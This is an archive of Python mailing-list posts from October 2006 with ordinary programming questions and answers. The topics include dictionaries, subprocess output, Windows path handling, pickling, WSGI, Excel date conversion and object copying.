*********************** > Your mail has been scanned by InterScan MSS. > *********************** > > > On Friday 20 October 2006 14:34, James Stroud wrote: >> You really don't need classes for this > > I'm in that matter too. Doesn't classes make the main program neater? > Fundamentally OOP is the way to assemble ready objects to get a "thing" > working, rather than worry about any single code line. > Is this a concept of python? I don't really have formal programming training, but it is increasingly becoming my experience that OOP is but one ingredient in a good program. It can be left out or it can be mixed with other ingredients for a nice effect. Take for example the "file" and "open" built-ins. Calling both creates a file object, but the latter, which is the preferred to open a file, is actually a function rather than a class. So even the python designers did not constrain themselves to any single "style". I think the trick is to identify when a class would make more sense than a collection of subroutines, etc. James From steve at REMOVE.THIS.cybersource.com.au Wed Oct 18 13:00:40 2006 From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano) Date: Thu, 19 Oct 2006 03:00:40 +1000 Subject: Dictionaries References: <1161185067.771030.301480@e3g2000cwe.googlegroups.com> <1161189110.702575.162220@f16g2000cwb.googlegroups.com> Message-ID: On Wed, 18 Oct 2006 09:31:50 -0700, Lad wrote: > > Steven, > Thank you for your reply and question. > >> >> What should the result be if both dictionaries have the same key? > The answer: the values should be added together and assigned to the key > That is > {'a':1, 'b':5} > ( from your example below) > > Is there a solution? Of course there is a solution. You just have to program it. Look again at my example code before: def add_dict(A, B): """Add dictionaries A and B and return a new dictionary.""" C = A.copy() # start with a copy of A for key, value in B.items(): if C.has_key(key): raise ValueError("duplicate key '%s' detected!" % key) C[key] = value return C Can you see how to modify this function to do what you want? (Hint: instead of raising a ValueError exception, you want to do something else.) -- Steven. From fredrik at pythonware.com Mon Oct 16 17:31:21 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 16 Oct 2006 23:31:21 +0200 Subject: Output from subprocess.Popen() In-Reply-To: <1161033460.506489.96820@b28g2000cwb.googlegroups.com> References: <1160923622.901247.310170@b28g2000cwb.googlegroups.com> <1161033460.506489.96820@b28g2000cwb.googlegroups.com> Message-ID: sjdevnull at yahoo.com wrote: > I can't see any obvious way to ask subprocess to use a shell other than > the default. -c ? >>> f = Popen(["/bin/bash", "-c", "set|grep IFS"], stdout=PIPE) >>> f.stdout.read() "IFS=$' \\t\\n'\n" >>> f = Popen(["/bin/sh", "-c", "set|grep IFS"], stdout=PIPE) >>> f.stdout.read() "IFS=' \t\n" From python.list at tim.thechases.com Thu Oct 26 09:04:45 2006 From: python.list at tim.thechases.com (Tim Chase) Date: Thu, 26 Oct 2006 08:04:45 -0500 Subject: The format of filename In-Reply-To: References: Message-ID: <4540B26D.1020609@tim.thechases.com> >> Some experimentation shows that Python does seem to provide >> *some* translation. Windows lets me use '/' as a path separator, >> but not as the name of the root of a partition name. But perhaps >> this a peculiarity of the commands themselves, and not of Windows >> path names in particular. >> >> C:\PYTHON24>CD / >> The syntax of the command is incorrect. >> >> C:\PYTHON24>CD \ >> C:\>EDIT /PYTHON24/README >> The syntax of the command is incorrect. > > The Windows APIs all accept either forward slashes or back, and have done > so clear back to Windows 3.0. However, the Windows command shells do not. > That's what you're seeing here. What one finds is that the command-shell is self-inconsistant: C:\temp>md foo C:\temp>md foo\bar C:\temp>cd foo/bar C:\temp\foo\bar>cd .. C:\temp\foo>cd .. C:\temp>cd /foo/bar C:\temp\foo\bar>cd \temp C:\temp>md foo/baz The syntax of the command is incorrect C:\temp>echo dir > foo/bar/pip C:\temp>echo dir > /foo/bar/pip The system cannot find the path specified. C:\temp>dir foo/bar Parameter format not correct - "bar". C:\temp>dir /b foo\bar pip C:\temp>type foo/bar/pip The syntax of the command is incorrect. C:\temp>type foo\bar\pip dir C:\temp>cmd < foo/bar/pip [directory listing within a subshell] C:\temp>cmd < /foo/bar/pip The system cannot find the path specified. The CD, MD, TYPE, ECHO and redirection are all shell-builtins, yet they seem to be conflictingly quasi-smart about forward slashes. Sometimes leading slashes matter. Sometimes they don't. Sometimes forward slashes are acceptable. Sometimes they aren't. All within the shell's built-in mechanisms. Go figure. -tkc From bjobrien62 at gmail.com Mon Oct 16 15:56:35 2006 From: bjobrien62 at gmail.com (SpreadTooThin) Date: 16 Oct 2006 12:56:35 -0700 Subject: Need a strange sort method... In-Reply-To: References: <1161022388.133766.221150@m7g2000cwm.googlegroups.com> <8c7f10c60610161130i4d520b49xd6fc5a8450d579f4@mail.gmail.com> Message-ID: <1161028595.918128.198190@h48g2000cwc.googlegroups.com> Simon Brunning wrote: > On 10/16/06, Simon Brunning wrote: > > >>> a = [1,2,3,4,5,6,7,8,9,10] > > >>> a.sort(key=lambda item: (((item-1) %3), item)) > > >>> a > > [1, 4, 7, 10, 2, 5, 8, 3, 6, 9] > > Re-reading the OP's post, perhaps sorting isn't what's required: > > >>> a[::3] + a[1::3] + a[2::3] > [1, 4, 7, 10, 2, 5, 8, 3, 6, 9] > > -- > Cheers, > Simon B > simon at brunningonline.net > http://www.brunningonline.net/simon/blog/ Ok so this is what I got.. but there is an odd side effect: def reslice(series): series.sort() i = 1 newseries = series[::3] while(1): c = series[i::3] if len(c) >= 3: newseries = newseries + c else: break i = i + 1 return newseries a = [2,1,4,3,6,5,8,7,10,9] b = reslice(a) print b >>> [1, 4, 7, 10, 2, 5, 8, 3, 6, 9, 4, 7, 10] I have one extra 10 that I shouldn't... From chtaylo3 at gmail.com Wed Oct 18 10:21:34 2006 From: chtaylo3 at gmail.com (Christopher Taylor) Date: Wed, 18 Oct 2006 10:21:34 -0400 Subject: Python RPM package arch compatability Message-ID: <2590773a0610180721l7fdd7688i5d67b3c16201f44a@mail.gmail.com> Hello all, A quick question if I may. I'm running RHEL 4 on a x86_64 and I'm curious if any of the packages at http://www.python.org/download/releases/2.4/rpms/ would suite my setup. If they don't can I simply build from source and not overwrite /usr/bin/Python (for the same reasons as listed at the above mentioned webpage)? Respectfully, Christopher Taylor From fred at adventistcare.org Thu Oct 5 12:47:41 2006 From: fred at adventistcare.org (Sells, Fred) Date: Thu, 5 Oct 2006 12:47:41 -0400 Subject: CGI Tutorial Message-ID: <1A4BF05172023E468CB6E867923BC90402B6E2C3@accmail2.sunbelt.org> content is great, my comments are editorial. I prefer PDF with bookmarks rather than HTML. 1. easy to print the whole thing and read offline. 2. easy to find a secion from bookmarks, rather that chasing links 3. easy to save on my local "doc" folder so I can be sure It will always be there. (i.e. I don't have to try to find it when you change servers) Of course that's just my opinion, I could be wrong ;) If you choose to go the PDF route, I've found OpenOffice 2.0 pretty good at generating PDF with bookmarks. Just don't get too complex or OO may hose you. From Alec.Edgington at blueyonder.co.uk Mon Oct 2 14:09:17 2006 From: Alec.Edgington at blueyonder.co.uk (Alec.Edgington at blueyonder.co.uk) Date: 2 Oct 2006 11:09:17 -0700 Subject: zeta function for complex argument Message-ID: <1159812557.819161.126440@m7g2000cwm.googlegroups.com> Hi, Quick question: I'm wondering if there is, Somewhere Out There, a Python implementation of the Riemann zeta function for complex argument...? Thanks for any help. A. From fredrik at pythonware.com Mon Oct 9 05:16:06 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 9 Oct 2006 11:16:06 +0200 Subject: Memory Management in python 2.5 References: <1160383218.694248.198570@b28g2000cwb.googlegroups.com> Message-ID: cesar.ortiz at gmail.com wrote: > Hi, I am starting to have a look to a python program that does not free > memory (I am using python 2.4.3). As I have read about a new memory > management in python 2.5 (http://evanjones.ca/python-memory.html) I > decided to try the program with the new version. > With the new version of python the memory consumption is the same. Now > I am asking myself if python 2.5 has any improving in memory > management or maybe not yet. the new mechanism only helps if you temporarily create large structures and release them quickly; it does not help if you're *fragmenting* the memory. Python requests memory from the underlying system in blocks (called "arenas"), and it can only re- turn them if they're entirely empty. (this is discussed on the page you link to, and the various posts it links to). From ptmcg at austin.rr._bogus_.com Wed Oct 25 13:40:39 2006 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Wed, 25 Oct 2006 17:40:39 GMT Subject: Sorting by item_in_another_list References: <7x1woypbe1.fsf@ruckus.brouhaha.com> Message-ID: "J. Clifford Dyer" wrote in message news:eho2kq$lqc$1 at aioe.server.aioe.org... > ZeD wrote: >> Paul Rubin wrote: >> >>>> A = [0,1,2,3,4,5,6,7,8,9,10] >>>> B = [2,3,7,8] >>>> >>>> desired_result = [2,3,7,8,0,1,4,5,6,9,10] >>> How about: >>> >>> desired_result = B + sorted(x for x in A if x not in B) >> >> this. is. cool. >> > > Cool, yes, but I'm not entirely sure it does what the OP wanted. Partly > because I'm not entirely sure what the OP wanted. Counter example: > > Given these variables: > > A = [0,1,2,3,4,5,6,8,9,10] # Note 7 is missing > B = [2,3,7,8] > > which of the following should the function yield? > >From the original post: "I have two lists, A and B, such that B is a subset of A." So this is not a case that needs to be supported. I envisioned something like the OP had a sequence of items to start with, did a random sampling from the list, and wanted to move the sampled items to the front of the list. -- Paul From sjmachin at lexicon.net Tue Oct 3 23:09:41 2006 From: sjmachin at lexicon.net (John Machin) Date: 3 Oct 2006 20:09:41 -0700 Subject: Can't get around "IndexError: list index out of range" In-Reply-To: References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com> <4522e238$0$25774$4d3efbfe@news.sover.net> Message-ID: <1159931381.153899.128920@e3g2000cwe.googlegroups.com> Terry Reedy wrote bloated code: > if sys.argv[1:2] != []: if sys.argv[1:2]: :-) From fuzzyman at gmail.com Fri Oct 13 20:41:12 2006 From: fuzzyman at gmail.com (Fuzzyman) Date: 13 Oct 2006 17:41:12 -0700 Subject: SPE for 2.5? In-Reply-To: References: Message-ID: <1160786472.050255.306850@e3g2000cwe.googlegroups.com> John Salerno wrote: > Does anyone know if SPE is compatible with Python 2.5? I don't see a > Windows exe file for 2.5, so I wasn't sure if I should use the 2.4 version. > Certainly worth trying the 2.4 version, but it's true that there hasn't been an uupdate of SPE for a long time. Shame as it is a *very* nice IDE, but it had too many quirks (with little chance of them being fixed it seemed) to use it for commercial development at Resolver. Fuzzyman http://www.voidspace.org.uk > Thanks. From johnjsal at NOSPAMgmail.com Wed Oct 4 13:18:50 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Wed, 04 Oct 2006 17:18:50 GMT Subject: preemptive OOP? In-Reply-To: References: <12i0iut89mqepcd@corp.supernews.com> Message-ID: <_1SUg.65$1n3.917@news.tufts.edu> Kent Johnson wrote: >> There is certainly a *lot* of 'Gratuitous OOP' (GOOP?) out there. > > In my experience a lot of GOOP results LOL. Good thing we didn't go with the acronym from my phrase "preemptive OOP" ;) From ptmcg at austin.rr._bogus_.com Thu Oct 12 10:15:48 2006 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Thu, 12 Oct 2006 14:15:48 GMT Subject: Pickling an instance of a class containing a dict doesn't work References: <4p6vk6Fh2jevU1@news.dfncis.de> Message-ID: "Marco Lierfeld" wrote in message news:4p6vk6Fh2jevU1 at news.dfncis.de... > Hello there, > > I want to save an instance of a class containing a dictionary with the > pickle-module. > > The class looks like this: > class subproject: > configuration = {} > build_steps = [] > # some functions > # ... > > Now I create an instance of this class, e.g. > test = subproject() > and try to save it with pickle.dump(test, file('test.pickle','wb')) or > with > pickle.Pickler(file('test.pickle','wb')).save(test) I'm guessing that configuration and build_steps are supposed to be instance variables, not class-level variables. It would be interesting to see what your __init__ method looks like. I'm guessing you assign something the self.build_steps in __init__, but self.configuration is omitted. Try moving these initializers into the __init__ method, as: class subproject: def __init__(self): self.configuration = {} self.build_steps = [] and see if pickle starts behaving better. -- Paul From python.list at tim.thechases.com Thu Oct 19 14:13:21 2006 From: python.list at tim.thechases.com (Tim Chase) Date: Thu, 19 Oct 2006 13:13:21 -0500 Subject: invert or reverse a string... warning this is a rant In-Reply-To: <136ED738BD4F1545B97E4AC06FF6370734BEEE@DMSP-MSG-EVS01.mail.pvt> References: <136ED738BD4F1545B97E4AC06FF6370734BEEE@DMSP-MSG-EVS01.mail.pvt> Message-ID: <4537C041.6060500@tim.thechases.com> > Is this why the applicants I see that are fresh out of college > with their shiny new computer science degrees can't seem to > code their way out of a wet paper bag? Well, there you go! Apparently, your wet paper bag has no "detect a palendrome" exit. While you're installing such an egress to your soggy dead-tree satchel, you could also provide similar "write a binary search" or "write your own linked-list implementation" escape hatches... :) -tkc From bignose+hates-spam at benfinney.id.au Wed Oct 4 19:02:56 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Thu, 05 Oct 2006 09:02:56 +1000 Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> <7xk63h232z.fsf@ruckus.brouhaha.com> <45240E19.3040000@v.loewis.de> Message-ID: <87lknvelb3.fsf@benfinney.id.au> "Martin v. L?wis" writes: > Giovanni Bajo schrieb: > > It is an extremely bad picture for an open source flag like Python > > to go to a vendor for such an easy requirement as a bug database. > > You fail to recognize that Python is *already* using a non-free software > for bug tracking, as do thousands of other projects. So from that point > of view, the status wouldn't change. The whole point of moving *from* SF *to* another bug tracker is to improve the situation, surely. You already seem to acknowledge that using free-software tools to develop Python is desirable. I don't see why you're being so obtuse in this sub-thread on *why* it's desirable. -- \ "The Stones, I love the Stones; I can't believe they're still | `\ doing it after all these years. I watch them whenever I can: | _o__) Fred, Barney, ..." -- Steven Wright | Ben Finney From Luwian at gmail.com Sun Oct 22 08:16:25 2006 From: Luwian at gmail.com (Lucas) Date: 22 Oct 2006 05:16:25 -0700 Subject: How to print a file in binary mode Message-ID: <1161519385.614985.311240@m73g2000cwd.googlegroups.com> I need print a file in binary mode . f = f.open('python.jpg','rb') bytes = f.read() f.close() print(bytes) I can't get any binary code. how to do it? Thank you very much! From onurb at xiludom.gro Tue Oct 10 12:01:32 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Tue, 10 Oct 2006 18:01:32 +0200 Subject: can regular ol' python do a php include? In-Reply-To: References: Message-ID: <452bc3dd$0$29360$426a34cc@news.free.fr> John Salerno wrote: > Jean-Paul Calderone wrote: > >> def include(filename): >> print open(filename).read() >> >> include('header.html') >> >> Behold, the power of a general purpose programming language. >> >> Jean-Paul > > Thanks, pretty good idea! But my guess is that I can't just use it this > way within an HTML file. As the effbeot kindly mentionned, you cannot do any include in a HTML file - the HTML spec doesn't mention such a beast. -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From davidworley at gmail.com Tue Oct 17 15:25:49 2006 From: davidworley at gmail.com (Dave) Date: 17 Oct 2006 12:25:49 -0700 Subject: HTML Encoded Translation In-Reply-To: References: <1161108640.669383.178470@h48g2000cwc.googlegroups.com> Message-ID: <1161113149.326350.134330@b28g2000cwb.googlegroups.com> Got it, great. This worked like a charm. I knew I was barking up the wrong tree with urllib, but I didn't know which tree to bark up... Thanks! Fredrik Lundh wrote: > Dave wrote: > > > How can I translate this: > > > > gi > > > > to this: > > > > "gi" > > the easiest way is to run it through an HTML or XML parser (depending on > what the source is). or you could use something like this: > > import re > > def fix_charrefs(text): > def fixup(m): > text = m.group(0) > try: > if text[:3] == "&#x": > return unichr(int(text[3:-1], 16)) > else: > return unichr(int(text[2:-1])) > except ValueError: > pass > return text # leave as is > return re.sub("&#?\w+;", fixup, text) > > >>> fix_charrefs("gi") > 'gi' > > also see: > > http://effbot.org/zone/re-sub.htm#strip-html > > > I've tried urllib.unencode and it doesn't work. > > those are HTML/XML character references, not encoded URL characters. > > From fulvio at tm.net.my Sun Oct 22 10:42:10 2006 From: fulvio at tm.net.my (Fulvio) Date: Sun, 22 Oct 2006 22:42:10 +0800 Subject: Debugging In-Reply-To: References: Message-ID: <200610222242.11067.fulvio@tm.net.my> *********************** Your mail has been scanned by InterScan MSS. *********************** On Saturday 21 October 2006 23:43, R. Bernstein wrote: > (I think all of this is the case also with pdb, but someone might > check on this; it's possible breakpoints in pdb start from 0 instead > of 1 as is the ?case in gdb/pydb.) Thank you for your details. The pdb that I'm talking about, can be found in /usr/lib/python2.4/pdb.py (an C:\python2.4\lib\pdb.py for the win32 version). I'll give a look to pydb site... The previous post I might have missed some explaination on my proceeding. I'd say that I'm testing a small program under pdb control (python /usr/lib/python2.4/pdb.py ./myprog.py). So pdb will load myprog and stop the first line code. Once I'm at the pdb command line I can issue the commands available inside the pdb itself. Concerning the mentioned BP function I meant to set a counter/function which let the BP run until reach the true condition. Then "condition" is one of the pdb commands which let add a conditon to a BP. The reference Manual gives information for all the pdb functions, but aren't detailed, specially on how to set up BP conditions, like countdown, timed and camparison conditions. Hope I've been clear this time :-) F From no-spam at no-spam-no-spam.com Fri Oct 13 18:22:33 2006 From: no-spam at no-spam-no-spam.com (robert) Date: Sat, 14 Oct 2006 00:22:33 +0200 Subject: wxPython installation interferes with win32ui/win32gui Message-ID: As soon as I install wxPython on a Py2.3.5, my win32ui / win32gui apps freak out. buttons in dialogs are magically pressed. backgrounds of dialogs are colored wrong... this is with current wxPython (it was the same situation with a wx version some months back) When I uninstall wxPython the other win32ui/win32gui apps work again. What could be the reason? I made a full file comparison in the c:\Python23 tree: wx installed vs. wx uninstalled. Besides the wx things in site-packages only .. c:\Python23\pythonw.exe.manifest c:\Python23python.exe.manifest .. and things in "c:\Python23\Scripts" are written/changed. nothing in site-packages/pythonwin and site-packages/win32* is changed by the wx installer. Or does the wx installer change something in the DLL's in \windows or worse...? -robert From fredrik at pythonware.com Sun Oct 15 11:04:23 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 15 Oct 2006 17:04:23 +0200 Subject: Output from subprocess.Popen() In-Reply-To: <1160923622.901247.310170@b28g2000cwb.googlegroups.com> References: <1160923622.901247.310170@b28g2000cwb.googlegroups.com> Message-ID: Clodoaldo Pinto Neto wrote: > Output from the shell: > > [cpn at s0 teste]$ set | grep IFS > IFS=$' \t\n' > > Output from subprocess.Popen(): > >>>> import subprocess as sub >>>> p = sub.Popen('set | grep IFS', shell=True, stdout=sub.PIPE) >>>> p.stdout.readlines()[1] > "IFS=' \t\n" > > Both outputs for comparison:stdout=subprocess.PIPE) > IFS=$' \t\n' > "IFS=' \t\n" > > The subprocess.Popen() output is missing the $ and the last ' if you expect one line of output, why are you doing readlines()[1] ? >>> f = subprocess.Popen("set | grep IFS", shell=True, >>> f.stdout.readlines()[1] Traceback (most recent call last): Traceback (most recent call last): File "", line 1, in IndexError: list index out of range this works for me: >>> f = subprocess.Popen("set | grep IFS", shell=True, stdout=subprocess.PIPE) >>> f.stdout.readlines() ["IFS=$' \\t\\n'\n"] what does the above return on your machine? From umut.tabak at student.kuleuven.be Wed Oct 25 09:20:02 2006 From: umut.tabak at student.kuleuven.be (umut.tabak at student.kuleuven.be) Date: 25 Oct 2006 06:20:02 -0700 Subject: To remove some lines from a file Message-ID: <1161782402.343992.152080@k70g2000cwa.googlegroups.com> Dear all, I am quite new to python. I would like to remove two lines from a file. The file starts with some comments, the comment sign is $. The file structure is $ $ $ $ $ $ $ . . . . $ line1 line 2 $ $ . . . $ actual commands I would like to delete those two lines at the very beginning of the file between two comment blocks. I have read things about python but my library knowledge is still weak. So could you please help me with this code. I would like to call this as myscript targetfile I have read sth about command line arguments. Perhaps I can cope with that myself but help is also appreciated on that. Best regards, From wccppp at gmail.com Sat Oct 14 20:38:44 2006 From: wccppp at gmail.com (wcc) Date: 14 Oct 2006 17:38:44 -0700 Subject: Need a function. Any built-in function or module for this? Message-ID: <1160872724.767973.85150@m7g2000cwm.googlegroups.com> Hello group, I need to write a function to get input from user. The prompt will be like this: Specify direction[Left/Right/Up/Down] or : And if user type "L" or , the function will return "Left", if user type "R", the function will return "Right", etc.. My quick search in python reference did not yield valid result. Any pointer? Thanks for your help. -wcc From fredrik at pythonware.com Wed Oct 18 07:30:11 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 18 Oct 2006 13:30:11 +0200 Subject: matrix Multiplication References: <1161170249.549988.260870@m73g2000cwd.googlegroups.com> Message-ID: "Sssasss" wrote: > I wan't to multiply two square matrixes, and i don't understand why it > doesn't work. > > def multmat(A,B): > "A*B" > if len(A)!=len(B): return "error" > D=[] > C=[] > for i in range(len(A)): D.append(0) > for i in range(len(A)): C.append(D) append doesn't copy data, so you're basically adding len(A) references to the same D list to C. for more on this, see: http://pyfaq.infogami.com/how-do-i-create-a-multidimensional-list From bjobrien62 at gmail.com Mon Oct 30 15:13:21 2006 From: bjobrien62 at gmail.com (SpreadTooThin) Date: 30 Oct 2006 12:13:21 -0800 Subject: scared about refrences... In-Reply-To: References: <1162236136.367603.165180@b28g2000cwb.googlegroups.com> Message-ID: <1162239201.179887.77750@m73g2000cwd.googlegroups.com> Marc 'BlackJack' Rintsch wrote: > In <1162236136.367603.165180 at b28g2000cwb.googlegroups.com>, SpreadTooThin > wrote: > > > I'm really worried that python may is doing some things I wasn't > > expecting... but lets see... > > Expect that Python never copies something if don't ask explicitly for a > copy. > > > if I pass a list to a function def fn(myList): > > > > and in that function I modify an element in the list, then does the > > callers list get modied as well. > > > > def fn(list): > > list[1] = 0 > > > > myList = [1, 2, 3] > > print myList > > fn(myList) > > print myList > > > >>>> [1,2,3] > >>>> [1,0,3] > > > > How can I avoid this? In this case this is a really simplified example > > but the effects are the same... > > In this case: > > def fn(lst): > lst = list(lst) > lst[1] = 0 > > > > How do I specify or create deep copies of objects that may contain > > other objects that may contain other object that may contain other > > objects.... > > See the `copy` module especially `copy.deepcopy()`. > I'm aware of __deepcopy__ but does that mean that every object in the object needs to have its own deep copy? And how do I ensure that? > Ciao, > Marc 'BlackJack' Rintsch From rtw at freenet.co.uk Mon Oct 16 10:31:33 2006 From: rtw at freenet.co.uk (Rob Williscroft) Date: Mon, 16 Oct 2006 09:31:33 -0500 Subject: Strange Behavior References: <1161008763.124120.147010@i3g2000cwc.googlegroups.com> Message-ID: abcd wrote in news:1161008763.124120.147010 at i3g2000cwc.googlegroups.com in comp.lang.python: > class Foo: > def __init__(self, name, data=[]): http://docs.python.org/ref/function.html#l2h-619 Rob. -- http://www.victim-prime.dsl.pipex.com/ From fredrik at pythonware.com Tue Oct 24 10:56:05 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 24 Oct 2006 16:56:05 +0200 Subject: The format of filename In-Reply-To: References: Message-ID: Neil Cerutti wrote: > Where can I find documentation of what Python accepts as the > filename argument to the builtin function file? > > As an example, I'm aware (through osmosis?) that I can use '/' as > a directory separator in filenames on both Unix and Dos. But > where is this documented? in the documentation for your operating system. Python doesn't do anything with the filenames. From sjmachin at lexicon.net Thu Oct 5 19:54:23 2006 From: sjmachin at lexicon.net (John Machin) Date: 5 Oct 2006 16:54:23 -0700 Subject: How do I read Excel file in Python? References: <1160057474.600863.239360@k70g2000cwa.googlegroups.com> <1160061718.605057.243590@h48g2000cwc.googlegroups.com> <1160067650.709670.71460@e3g2000cwe.googlegroups.com> <1160069137.525290.90000@m73g2000cwd.googlegroups.com> <8c7f10c60610051203m37c5e1f6l40cb4f52cd2ede29@mail.gmail.com> <1160077793.218033.108840@m73g2000cwd.googlegroups.com> Message-ID: <1160092463.755080.127850@c28g2000cwb.googlegroups.com> houdinihound at yahoo.com wrote: > > > >>> excel_date = 38938.0 > > > >>> python_date = datetime.date(1900, 1, 1) + datetime.timedelta(days=excel_date) > > > >>> python_date > > > datetime.date(2006, 8, 11) > > > > Err, that's the wrong answer, isn't it? Perhaps it shoud be > > datetime.date(1900, 1, 29)? > > Actually was about to post same solution and got same results. (BTW > Simon, the OP date is Aug 9th, 2006). Scratched head and googled for > excel date calculations... found this bug where it treats 1900 as leap > year incorrectly: > http://www.ozgrid.com/Excel/ExcelDateandTimes.htm > > Plus it treats 1 jan 1900 as day 1, not 0 so just subtract 2 in the > calc: > >>>python_date = datetime.date(1900, 1, 1) + datetime.timedelta(days=excel_date - 2) > >>> python_date > datetime.date(2006, 8, 9) > ... and 2006-08-09 is only the correct answer if the spreadsheet was, when last saved, using the 1900 ("Windows") date system, not the 1904 ("Macintosh") date system. All the OP needs to do is to read the documentation that comes with the xlrd package. It describes the problems with Excel dates, and offers functions for conversion between the Excel date numbers and (year, month, day, hour, minute, second) tuples which of course are interoperable with Python's datetime module and with mx.DateTime. | >>> import xlrd | >>> xlrd.xldate_as_tuple(38938.0, 0) | (2006, 8, 9, 0, 0, 0) | >>> xlrd.xldate_as_tuple(38938.0, 1) | (2010, 8, 10, 0, 0, 0) | >>> Cheers, John From gdamjan at gmail.com Sun Oct 8 17:47:24 2006 From: gdamjan at gmail.com (Damjan) Date: Sun, 08 Oct 2006 23:47:24 +0200 Subject: WSGI - How Does It Affect Me? References: Message-ID: <452971f2$0$49202$14726298@news.sunsite.dk> > So I keep hearing more and more about this WSGI stuff, and honestly I > still don't understand what it is exactly and how it differs from CGI > in the fundamentals (Trying to research this on the web now) > > What I'm most confused about is how it affects me. I've been writing > small CGI programs in Python for a while now whenever I have a need > for a web program. Is CGI now considered "Bad"? Well, mostly "yes" :) > I've just always > found it easier to write something quickly with the CGI library than > to learn a framework and fool with installing it and making sure my > web host supports it. > > Should I switch from CGI to WSGI? What does that even mean? What is > the equivalent of a quick CGI script in WSGI, or do I have to use a > framework even for that? What do I do if frameworks don't meet my > needs and I don't have a desire to program my own? def simple_app(environ, start_response): """Simplest possible application object""" status = '200 OK' response_headers = [('Content-type','text/plain')] start_response(status, response_headers) return ['Hello world!\n'] To serve it as a CGI just: from wsgiref.handlers import CGIHandler CGIHandler().run(simple_app) It's not that complicated isn't it... and later you might want to move to mod_python, scgi or fastcgi or IIS... you will not have to modify simple_app a bit. OR... you might want to use the EvalException middleware... just wrap your simple_app like this: app = EvalException(simple_app) (well, due to it's simplicity EvalException can only work in single-process, long running WSGI servers like not in CGI) so: s = wsgiref.simple_server.make_server('',8080, app) s.server_forever() More info at http://wsgi.org/wsgi/Learn_WSGI > 3. Using IIS at all for that matter, does WSGI work on IIS, do any > frameworks? There's an IIS server gateway (WSGI server) but you can always run WSGI applications with CGI, as seen above. -- damjan From jcoleman at franciscan.edu Mon Oct 30 11:05:31 2006 From: jcoleman at franciscan.edu (John Coleman) Date: 30 Oct 2006 08:05:31 -0800 Subject: Observation on "Core Python Programming" In-Reply-To: <1162223991.134767.33560@m73g2000cwd.googlegroups.com> References: <1162135496.144591.304640@b28g2000cwb.googlegroups.com> <1162223991.134767.33560@m73g2000cwd.googlegroups.com> Message-ID: <1162224331.430454.64940@m73g2000cwd.googlegroups.com> John Coleman wrote: > John Salerno wrote: > > John Coleman wrote: > > > Greetings, > > > My copy of the second edition of Chun's "Core Python Programming" > > > just arrived from Amazon on Friday. > > > > Who would you say the book is aimed at? Advanced programmers? I thought > > about getting it, but I'm not sure if it will be either 1) too much > > repetition of the basics I've already learned (which isn't necessarily a > > bad thing), or 2) too advanced for me right now. > > > > Thanks. > > It strikes me as being aimed at intermediate programmers who don't have > much familiarity with Python. I bought it since my only other book on > Python ("Learning Python" by Lutz) is somewhat dated now and because I > find that I'm a slow learner and it usually takes me a couple of books > by independent authors to "get" a language. The publisher's page is > more informative than what you see on Amazon. You can see the table of > contents and read a sample chapter there to help you decide if the book > is for you: > http://vig.prenhall.com/catalog/academic/product/1,4096,0130260363,00.html > > HTH > > -John Coleman I just realized that I gave the link to the first edition site. The second edition site doesn't give a sample chapter (but does give the complete preface) and still provides a good feel for the book: http://vig.prenhall.com/catalog/academic/product/0,1144,0132269937,00.html Sorry for any confusion -John Coleman From snail at objmedia.demon.co.uk Thu Oct 19 07:05:39 2006 From: snail at objmedia.demon.co.uk (Stephen Kellett) Date: Thu, 19 Oct 2006 12:05:39 +0100 Subject: Python Memory Leak Detector Message-ID: Announcing Software Tools for Python We are pleased to inform you that we have completed the port and beta test of our Memory Analysis software tool to support Python. The software tools run on the Windows NT/2000/XP (and above) platforms. Python Memory Validator (a memory leak detection tool) http://www.softwareverify.com/python/memory/index.html The website provides 30 day evaluation versions of the software as well as full product versions of the software. The evaluation versions are fully functional with only the 30 day limit on usage. Stephen -- Stephen Kellett Object Media Limited http://www.objmedia.demon.co.uk/software.html Computer Consultancy, Software Development Windows C++, Java, Assembler, Performance Analysis, Troubleshooting From bdesth.quelquechose at free.quelquepart.fr Tue Oct 31 17:53:13 2006 From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers) Date: Tue, 31 Oct 2006 23:53:13 +0100 Subject: Python 123 introduction In-Reply-To: References: Message-ID: <4547cf3f$0$32025$426a34cc@news.free.fr> Jeremy Sanders a ?crit : > Here is a brief simple introduction to Python I wrote for a computing course > for graduate astronomers. It assumes some programming experience. Although > it is not a complete guide, I believe this could be a useful document for > other groups to learn Python, so I'm making it available for others to > download, and modify for their own needs (some of the content is site > specific). May I emit some observations and suggest a couple of corrections ? """ To make it executable type chmod +x test.py, then run it by typing its name, test.py on the unix prompt """ Unless the current directory is in the path, this won't work: bruno at bibi ~ $ cat toto.py #!/usr/bin/python print 'hello' bruno at bibi ~ $ chmod +x toto.py bruno at bibi ~ $ toto.py -bash: toto.py: command not found bruno at bibi ~ $ ./toto.py hello bruno at bibi ~ $ ">>> a+b # the value is printed at the prompt" s/value/result/ "Numbers can be integers (int, whole numbers) or floating point (float)" s/Numbers/Numeric objects/ "Strings are collections of characters" s/Strings/String objects/ "Lists are collections of any types of variable (even lists)" List objects are ordered collections of any type of objects (even other lists) "Tuples are like lists but they cannot be changed" s/Tuples/Tuple objects/ Semantically, a tuple is more a kind of record - a dict indexed by position - than an immutable list. That is: lists are homogenous ordered collections of arbitrary length. Neither the length of the collection nor the position of an object in it have special meaning. While tuples are fixed-length heterogenous ordered structures where both the number of items and their positions are meaningfull. Canonically, a DB table can be represented as a list of tuples. "Files correspond to files on the disk" File objects correspond to OS files. >>> import sys >>> type(sys.stdin) """ Note that immutable objects (like numbers, strings or tuples) do not have this property. >>> a = 10 # makes a point to object 10 """ NB : here '10' is not the id of the object, it's its value. So it should be: # makes name 'a' point to an int object """ 